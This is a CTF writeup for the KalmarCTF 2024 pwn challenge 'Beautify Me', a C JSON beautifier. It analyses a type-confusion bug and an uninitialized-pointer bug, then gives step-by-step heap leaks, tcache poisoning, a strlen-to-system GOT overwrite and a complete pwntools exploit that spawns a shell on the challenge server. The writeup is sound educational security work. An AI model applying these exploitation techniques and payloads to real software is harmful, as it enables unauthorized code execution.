Last week, I played KalmarCTF 2024 with my team, Water Paddler. We managed to take the 8th place. In this writeup, I will be sharing my solution for one of the pwn challenge named Beautify Me.
Pwn
Beautify Me
Description
A JSON beautifier written in beautiful C.
nc chal-kalmarc.tf 2
Initial Analysis
In this challenge, we were provided with the source code of the binary, named main.c and main.h. Let’s start by taking a look at some important functions defined on there.
Taking a look at the above function, we can deduce that this binary is trying to parse our input, and then it will try to print back our processed input. Deducing from the challenge name, which is “Beautify Me”, seems like the main goal of this binary is it is trying to parse our json input, and then try to pretty print it just like the usual json beautifier.
Let’s try to run the binary, to confirm our deduction.
Based on the above initial observation, the parse_value will skip any whitespace first. After that, it will try to call the correct parser function based on the first character of our input. Let’s try to check the parser functions one by one.
typedefstructJson{union{object_t*object;array_t*array;char*string;charboolean;longnint;doublenfloat;};type_ttype;}json_t;char*parse_object(char*s,json_t**out){json_t*data=malloc(sizeof(json_t));if(data==NULL)returnNULL;data->type=T_OBJECT;s=skip_whitespace(s);if(*s=='}'){data->object=NULL;*out=data;return++s;}s=parse_object_element(s,&data->object);if(s==NULL){free(data);returnNULL;}*out=data;returns;}char*parse_object_element(char*s,object_t**out){object_t*elem=malloc(sizeof(object_t));if(elem==NULL)returnNULL;s=parse_value(s,&elem->key);// Key can be object?
if(s==NULL){free(elem);returnNULL;}s=skip_whitespace(s);if(*s!=':'){free_value(elem->key);free(elem);returnNULL;}s=skip_whitespace(++s);s=parse_value(s,&elem->value);if(s==NULL){free_value(elem->key);free(elem);returnNULL;}s=skip_whitespace(s);if(*s=='}'){elem->next=NULL;*out=elem;return++s;}if(*s==','){s=skip_whitespace(++s);s=parse_object_element(s,&elem->next);if(s==NULL){free_value(elem->key);free_value(elem->value);free(elem);returnNULL;}*out=elem;returns;}returnNULL;}
So looking at the above function, first, it will allocate a new json_t object named data. Observed that the json_t object size is 0x10, where the first 8 bytes are a union type, which might represent some types, and the last 8 bytes are type_t field, which defined the type of the json input that the program tried to parse.
Next, it will assign T_OBJECT TYPE, skip some whitespaces, and then it will check whether it need to fill data->object or not based on the current character. If it is }, that means the json that it’s trying to parse is an empty object, so it will simply set the object to NULL and return the data. Else, it will call parse_object_element, which is another function that is used to fill in the data->object field.
parse_object_element will start by allocating a new object with type object_t.
Then, the function will try to continue on parsing it, which is divided into three stages:
First, it will try to parse the key from our input, which is marked by having a : character at the end of the input.
Next, it will try to parse the value from our input.
And last, it will check whether our input has more than one pair of key-value or not.
If it isn’t, it will set the the next as null.
Else, it will call parse_object_element again (recursive), so that it can assign the next with a pointer to another object.
Observe that the key and value will be parsed with parse_value function, the function that we have discussed before (recursively).
One key observation here that we could see is that, there is one violation that this binary make during parsing the JSON object. The result of the key from the parser function isn’t required to be string in here. It can be any value that has been defined on the binary. Let’s keep this in our mind, so that we can later double check whether this violation is indeed a bug or not.
Now, let’s move to the next functions, which is parse_array.
Similar to what the parse_object did, the parse_array function will start by allocating a json_t object named data and set the type to T_ARRAY. Next, it will skip whitespaces, and then proceed to check the next parsed character. If it is ], that means our input is an empty array, so it will set the data->array to null and return it.
Else, it will start parsing our input’s elements by calling parse_array_element. This will allocate a new object array_t named elem, where it will fill elem->value with the result of parse_value (recursive), then check whether it ended with ] or ,. If it is ended with ], it will set the elem->next to null. If it is ended with ,, it will set the elem->next with a pointer to another element produced by the parse_array_element recursive call.
There is one subtle bug here if you noticed. Observed that if the last char is not ] nor ,, instead of returning error, the function will still return the elem, leaving the elem->nextuninitialized.
This means, if the elem allocated chunk’s address was used before and it isn’t cleared, the elem->next will still contains residual value from other or previous operations.
Now, there are 3 more parsers functions, which is to parse number, boolean, and null data type. However, I won’t talk about those functions in this writeup because they’re not relevant to the solutions.
Analyze print function
We just discussed on how the parsers function work, not it’s time for us to check the print_value function, which is the main reason why this binary exist.
This pretty print function will try to print data based on the stored data->type. For object and array data type, it will try to recursively print the elements that they have.
Looking at a glance, we might think that this function should be okay. However, there is one subtle bug in here. Take a look at the case where the data->type is T_OBJECT.
Noticed that when the function try to parse the object, it assumes that the key is a string, so it directly access and print it. However, remember what we have discussed before, where the parse_object is actually allowing the user’s input object’s key not a string type. This means, with this type confusion bug, we might be able to gain some sensitive address leak later.
Next, let’s talk about the free_value function, which is called in main at the end of the loop. Basically, for T_ARRAY and T_OBJECT, the function needs to do more. For example, the T_ARRAYwill try to iterate each of its element stored until the next is null value.
Now that we have reviewed some of the important functions (and find some bugs), it’s time for us to think on how we can leverage this bug further.
Solution
To recap, we have two main bugs so far:
The fact that object’s key in here doesn’t required to be a string, yet the print_value always parse the key as a string, this means we get type confusion bug, which might be able to be used to get some leak.
During constructing array, if the last char is not ] not ,, the array’s next won’t be cleared nor set, which mean the next value will still used just like the old value.
Leaking useful values
In general, we usually start by trying to leak some useful values with the bug. So in this case, we will try to use the first bug, which is a type confusion bug, to leak useful values. Let’s start by making observation in the gdb, to check how the data processed on an object with a valid key. Let say that we send an input {"aaaa":65}, and then set breakpoint at print_value, so that we can inspect the layout of the parsed object in memory (which located in the rdi).
First chunk is a json_t object, where the first 8 bytes point to the object_t chunk, and the last 8 bytes represent thae json_t type (which is T_OBJECT). Next, taking a look at the object_t chunk, we can see that the first 8 bytes are null, because we only have one pair of key-value. Next 8 bytes points to the key chunk, and last 8 bytes points to the value chunk. The key chunk is actually another json_t chunk, where now, it defined the key as a T_STRING type, and it points to another chunk, which is the string value itself.
Now that we know how the key stored in the memory, let’s try to take a look again at the type confusion bug LOC.
Now, let’s try to observe what happen if we set the key as a number data type. Let say that we input {65:65}, let’s check how the object stored in the memory.
Observed that the key chunk type here is T_INT instead of T_STRING, and if you continue the execution, it will crash.
The reason for this crash is because of the type confusion in the print_value function. The LOC curr->key->string will treat the key chunk as a T_STRING type, which is the expectation is that the first 8 bytes are pointer to the actual string. However, because our key type is actually T_INT, and it will store our value in the first 8 bytes instead of storing a pointer, the program will crash because it will try to dereference it.
This crash is a good thing for us, because this mean, if we set our T_INT value to a valid address, print_value will try to dereference our input value and print its content. With this bug, we have a read primitive. If we have a valid address and want to leak its content, we can simply send an object input with our targeted address as the key, and print_value will print its content.
Leaking heap address
However, up until now, we don’t have any leak yet, so how can we know a valid address value? The answer is, let’s try to find other data type, which might give us a leak! Let’s check through the available object type once again.
To abuse this type confusion bug, we need to use a data type which contains a pointer to another pointer, so that when we dereference it, the printed value is another pointer address. Looking at the above code, one good type that we can abuse here is array_t. The reason is because array will point to the next array’s element, which mean the printed value will be a heap address. Let’s start making our script, so that we can interact with the binary easier. Below is the initial helper that I defined on the script.
Now that our helper is ready, to give a better understanding, let’s try to send {[0,0]:0} to the binary.
1
2
# Heap leaks_json(b'{[0,0]:0}')
The above script will send {[0,0]:0} input. Before running the above script, as usual, set a breakpoint at the print_value, and inspect its object layout once again.
The key object is now an Array data type, and when the print_value try to print the key, it will print the array_t->next pointer, which is a heap address. With this, we finally get a leak of known valid address.
The above script will retrieve the printed key value and store it in our script. Now, we can move to the next step, which is trying to leak libc values.
Leaking libc address
Now that we know a heap address, we need to find a way to get another useful leak values, which is libc address. As usual, the most common way to put a libc address to the heap area is by having an unsorted bin in the heap area. There are many ways to trigger unsorted bin, either you create a string large enough and free it, or you fulfill the tcache bins. For this challenge, I decided to use the second approach, which is to fulfill the tcache bins. Let’s try to extend our script:
We need to add one more element on there to prevent our unsortedbiin chunk consolidate with the top chunk. After we trigger the above script, the free_value function (which is called just before it end the main loop) will fulfill the tcache bins of 0x90 chunk.
As you can see, now we have a libc address in the heap. We can easiy leak this value by setting the heap address which point to the libc as the key of our inputted object. Let’s extend our script once again.
Now that we have leaked the libc address, we will leak one more value, because this vaule will be useful later. We will leak the binary stack address, which is stored in the environ of the libc. We just need to repeat a similar step with the above step to leak it.
I found this calculation by observing the offset of the buf with the stored value in the environ inside the gdb. I will explain why we need the buf address later, but for now, we have leaked all the necessary values to proceed to the next step, which is trying to get remote code execution.
Gaining Remote Code Execution
At this moment, we need to think how to gain remote code execution. So far, we’ve been abusing the type confusion bug that we found during our initial analysis. Now, it’s time to abuse the second bug that we found, which is the uninitialized array_t->next value. To understand this bug better, let’s try to trigger the bug and play around with it. We’ve discussed before that the binary considered [0,0 as a valid JSON due to the bug in parse_array_element function.
Reproducing the next bug
For those who still don’t know why this bug can be fatal, let’s try to send two inputs:
The first one is [0,0].
The second one is [0.
If you try to send both of these inputs in sequence, the binary will crash during calling print_value for our second input. If we try to observe this in the gdb, we will notice that the binary try to dereference invalid address.
Observed that the 0x000055555555c300 represent our second input array_t. The last 8 bytes point to the json_t chunk, which is our first array element (0), which is a T_INT type. However, notied that the first 8 bytes of the chunk points to an invalid address, which is 0x000055500000967c. This was caused because we didn’t send the ] char in our second input, which makes the parse_array_element leave the next pointer uninitialized instead of setting it to null. The next value still contains the old value, which is a mangled pointer of the tcache freed chunk. Because the next value is not null, the print_value function will think that our array has a next element, and when it try to dereference it to print the value, of course it will crash because it is invalid address.
Abusing the next bug
Now that we know more about the second bug, let’s think what we can do with this bug. One idea that we could ask is “Is it possible for us to purposely craft the uninitialized next value, so that it points to our controlled input?”.
The answer for this is yes. The idea is, observed that if we have a chunk just before the top chunk, and then during calling free to that specific chunk, somehow it will be put at the unsorted bin (either due to its huge size or the tcache for that chunk’s size is already full), the free will consolidate the freed chunk with the top chunk. See the below illustration
1
2
3
4
5
6
7
8
9
10
11
Before free:
|-----------|
| Chunk A | <- Let say size is 0x90
|-----------|
| Top Chunk | <- Let say size is 0x2000
|-----------|
After free:
|-----------|
| Top chunk | <- Consolidated, and now top chunk size is 0x2090
|-----------|
What makes it perfect for us is that the consolidated chunk previous value isn’t cleared! This means, if we later allocate a new chunk for the array_t element, and it used this consolidated chunk, the uninitialized value of the array_t->next element will be the value that we set before!
For example, let say that the chunk A that got consolidated with the top chunk values are all 0x41, that means the uninitialized value of the next element (which allocate a new chunk by eating the top chunk) will be 0x4141414141414141.
With this information that the uninitialized next element value can be controlled by us, let’s think the next step. I decided to use this to manipulate the tcache freelist. The idea is I want to control the next element, so that:
print_value won’t crash
free_value will free our controlled fake chunks and put it in the tcache freelist.
This is where we will use the buf_stack address that we’ve leaked before. Noticed that is is very easy for us to construct fake chunks in the stack by abusing the fact that fgets read a huge input and it allows us to put null bytes on it. It’s hard for us to construct fake chunks in the heap, because the copy operations are using strndup, which will stop at null bytes.
Assume that we’re able to set the next value of the array to point to our buf_stack. buf_stack is controlled by us, so we can simply craft fake chunks on there to ensure that our input is a valid array_t objects. Not only that, remember that after print_value is called, free_value will be calle as well, where it will iterate the array (just like what print_value did) and free it. That means, we will have our fake chunks located in the buf_stack to be freed and inserted to the tcache bins.
After doing the above thing, noticed that it is very easy to poison those freed chunks. Everytime we send our raw input, it will be read to the buf_stack, which mean we have full control on poisoning the tcache freed chunks metadata.
To understand better, let’s simulate the idea that I’ve described above. Before extending our script, let’s check the latest freelist state after our last execution (which leaked the important values).
We have 19 of 0x20 chunks (in tcache and fastbin) and we have 8 0x90 chunks (7 in tcache and 1 in unsortedbin). Now, in order to successfully inject the next pointer, we need to ensure that our chunk which contained our target of next value will be placed just before the top chunk, and its need to have size either larger than the maximum tcache chunk’s size, or have size where the tcache bins are already full.
I decided to go with the second choice, so what I did was similar to our previous step during leaking the libc address. First, we need to allocate 8 string element in the array, where each string has size of 0x80. This will consume all of the 0x90 chunks that we have in the bins. Then, we can simply add one more element with size 0x86, where the last 6 bytes are the value that we’re planning to inject the next with. Let’s extend our script like below.
1
2
3
4
5
6
7
# Inject next pointera_str='b'*0x80info(f'inject...')buf_size=0x150target_free=buf_stack+buf_sizeinject=b'c'*0x80+p64(target_free)[:6]s_json(f'["{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","'.encode()+inject+b'"]')
The goal here is I want to inject the next pointer so that it points to buf_stack+0x150. I’m planning to craft my fake chunks on that area. Let see what happend in the top chunks after we execute the above script.
As you can see, we successfully trigger the chunk consolidation, where the top chunk contains our injected value which we prepared to be used as the uninitialized next value (which in this case is the one that located at 0x55555555ca00).
Now that we have successfully inject it, it’s time to trigger the bug. There are two precautions that we need to do here during sending our next input:
We need to ensure that we have put our fake chunks in the target address that we put as the next value.
In this case, buf_stack+0x50+0x100 need to contains our fake chunks.
Then, we need to ensure that when we trigger the bug, the last array_t element that we allocate overlapping with our prepared uninitialized value.
In this example, that means the last array_t element that we allocated need to be allocated at address 0x55555555ca00.
To achieve the above precautions, let’s start by checking the bins state first.
We want to allocate array_t elements by consuming the top chunk. array_t struct’s size is 0x10, which mean it will consume the 0x20 freed chunk. That means, we need to consume all of the 0x20 freed chunks and the unsortedbin chunks as well. In total, we need to allocate at least 15 chunks with size 0x20 (10 from tcache + fastbin, 5 from unsortedbin).
If we send an array as our input, it will consume one 0x20 chunk (because it is a json_t object). Next, when we add one integer element to the array, it will consume two 0x20 chunks. If we allocate an array of 7 integer elements, this will consumed all of the 15 chunks from the freelist.
Next, observed that our injected next value located at top+0x1a0. So, we need to allocate more element first, so that the last element of our input array will be placed on there. There are many ways to do this, but after calculating it thoroughly, I came with the below payload:
1
2
payload=b'[0,0,0,0,0,0,0, '# Consume all of the 15 0x20 chunkspayload+=b'0,0,1,"1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",64'# Last element next will be filled with our injected value before, which is buf_stack+0x150
The above input will make the last element next points to buf_stack+0x150. Now, we still need to extend that payload, because we need to ensure buf_stack+0x150 contains a valid array_t elements. To do this, we can simply pad our input first with \x00 up until 0x150. By padding it with null bytes, the parse_value function will stop the parse only until our last element, even though our input size is much larger than that.
Now, we need to think how to craft the fake chunks. I came up with the below layout:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload=payload.ljust(buf_size-0x10,b'\x00')p_stack=target_freepayload+=flat([p64(0),p64(0x71),p64(p_stack+0x70),p64(p_stack+0x40),# p_stack is this addressp64(0),p64(0),p64(0),p64(0),p64(0),p64(0x31),p64(0),p64(0x0),# p_stack+0x40p64(0),p64(0),p64(0),p64(0x31),p64(0),p64(p_stack+0xa0),# p_stack+0x70p64(0),p64(0),p64(0),p64(0x31),p64(0),p64(0),# p_stack+0xa0p64(0),p64(0),p64(0),p64(0x31),])s_json(payload)
To explain the above payload:
I set the next pointer of the fake chunk (located at p_stack) points to p_stack+0x70, and set the value pointer to p_stack+0x40.
I set both of the p_stack+0x70 and p_stack+0x40 chunk size to 0x31.
I set the next pointer of p_stack+0x40 to null, and set the value pointer to p_stack+0xa0.
I set the p_stack+0xa0 chunk size to 0x31.
Then, I set the chunk size of p_stack to 0x71, just to be safe during free, so that the p_stack next chunk is pointing to a valid chunk (which in this case p_stack+0x70).
When the free_value try to free our input, due to the next bug, our fake chunks will be iterated as well, and they will be freed and sent to the tcache bins list for chunks with size 0x30. Below is the bins state after the above script execution.
Now that we have put our fake chunks to the freelist, we can move to the last step, which is gaining shell.
Gaining shell
In order to gain shell, my plan is to overwrite the strlen GOT of libc to system, so that when it call printf during print_value try to print an object key (which is string type), it will call system with our input key as the parameter. So, to do that, we need to poison the tcache of 0x30 metadata.
Poisoning it is very simple. Because all of the freed chunks are overlapping with the buf_stack, we can simply abuse the LOC to read our raw input to poison it. Take a look at the below script:
We basically just need to send null bytes to the binary (so that it won’t do any parsing to our input), then pad it like what we did before, and overwrite all of the mangled pointer to our desired address, which is the strlen GOT address minus by 0x18. We need to do this because we plan to allocate a string object to trigger the allocation of the 0x30 chunks, and the binary use strndup to do this. So, by sending a string of b'a'*0x18 appended with the system address, strndup will allocate 0x30 chunks (which located at strlen GOT minus 0x18), and it will overwrite the strlen GOT with system.
Taking a look at the previous tcache list, we know that p_stack+0x70 is the first entry. So, we just need to poison that freed chunk with the target address. We send this payload, and now we successfully poison the tcache list. Below is the updates list after we execute the above script.
Now that we have successfully poison the tcache list, it’s time for us to overwrite it with system and spawn a shell. Below is the last script that we need to execute.
The above execution will overwrite strlen GOT with system, then during print_value, when it try to print our first entry (which contains /bin/sh), it will call strlen to that string, and due to the overwrite, it will call system("/bin/sh") instead.
Finally, we have finished our exploitation. Below is the full script to exploit the challenge.
frompwnimport*exe=ELF("json_patched")libc=ELF("./libc.so.6")ld=ELF("./ld-linux-x86-64.so.2")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'context.terminal=['wezterm','cli','split-pane','--top','--percent','65']warnings.simplefilter("ignore")remote_url="chal-kalmarc.tf"remote_port=2gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r,gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrdefdemangle(val,is_heap_base=False):ifnotis_heap_base:mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvalreturnval<<12defmangle(heap_addr,val):return(heap_addr>>12)^valr=conn()menu_delim=b'> 'deflogbase():info('libc.address = %#x'%libc.address)deflogleak(name,val):info(name+' = %#x'%val)defsa(delim,data):returnr.sendafter(delim,data)defsla(delim,line):returnr.sendlineafter(delim,line)defsl(line):returnr.sendline(line)defso(data):returnr.send(data)defsn(num):returnstr(num).encode()defmenu(num):returnsla(menu_delim,sn(num))defs_json(payload):sla(menu_delim,payload)# Heap leaks_json(b'{[0,0]:0}')r.recvuntil(b'"')leaked_heap=u64(r.recvuntil(b'"')[:-1].ljust(8,b'\x00'))logleak('leaked_heap',leaked_heap)# Trigger unsorted bina_str='a'*0x80s_json(f'["{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}",64]')# Libc leaktarget=leaked_heap+0x570s_json(f'{{{target}:0}}')r.recvuntil(b'"')leaked_libc=u64(r.recvuntil(b'"')[:-1].ljust(8,b'\x00'))logleak('leaked_libc',leaked_libc)libc.address=leaked_libc-(libc.sym.main_arena+96)logleak('libc.address',libc.address)# Leak stacktarget=libc.sym.environs_json(f'{{{target}:0}}')r.recvuntil(b'"')leaked_stack=u64(r.recvuntil(b'"')[:-1].ljust(8,b'\x00'))logleak('leaked_stack',leaked_stack)buf_stack=leaked_stack-0x1138logleak('buf_stack',buf_stack)# Inject next pointera_str='b'*0x80info(f'inject...')buf_size=0x150target_free=buf_stack+buf_sizeinject=b'c'*0x80+p64(target_free)[:6]s_json(f'["{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","{a_str}","'.encode()+inject+b'"]')payload=b'[0,0,0,0,0,0,0, '# Consume all of the 15 0x20 chunkspayload+=b'0,0,1,"1","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",64'# Last element next will be filled with our injected value before, which is buf_stack+0x150payload=payload.ljust(buf_size-0x10,b'\x00')p_stack=target_freepayload+=flat([p64(0),p64(0x71),p64(p_stack+0x70),p64(p_stack+0x40),p64(0),p64(0),p64(0),p64(0),p64(0),p64(0x31),# FREEDp64(0),p64(0x0),p64(0),p64(0),p64(0),p64(0x31),# FREEDp64(0),p64(p_stack+0xa0),p64(0),p64(0),p64(0),p64(0x31),# FREEDp64(0),p64(0),p64(0),p64(0),p64(0),p64(0x31),])s_json(payload)# Tcache poison time!payload=b'\x00'*(buf_size-0x10)payload+=flat([p64(0),p64(0x71),p64(0),p64(0),p64(0),p64(0),p64(0),p64(0),p64(0),p64(0x31),p64(0),p64(0x0),p64(0),p64(0),p64(0),p64(0x31),p64(mangle(buf_stack,libc.address+0x21a080)),p64(0),p64(0),p64(0),p64(0),p64(0x31),p64(0),p64(0),p64(0),p64(0),p64(0),p64(0x31),])s_json(payload)# Overwrite strlen with system?payload=b'["/bin/sh;aaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaa'+p64(libc.sym.system)[:6]+b'"]'s_json(payload)r.interactive()
Running the above script, we will be able to spawn a shell and read the flag :)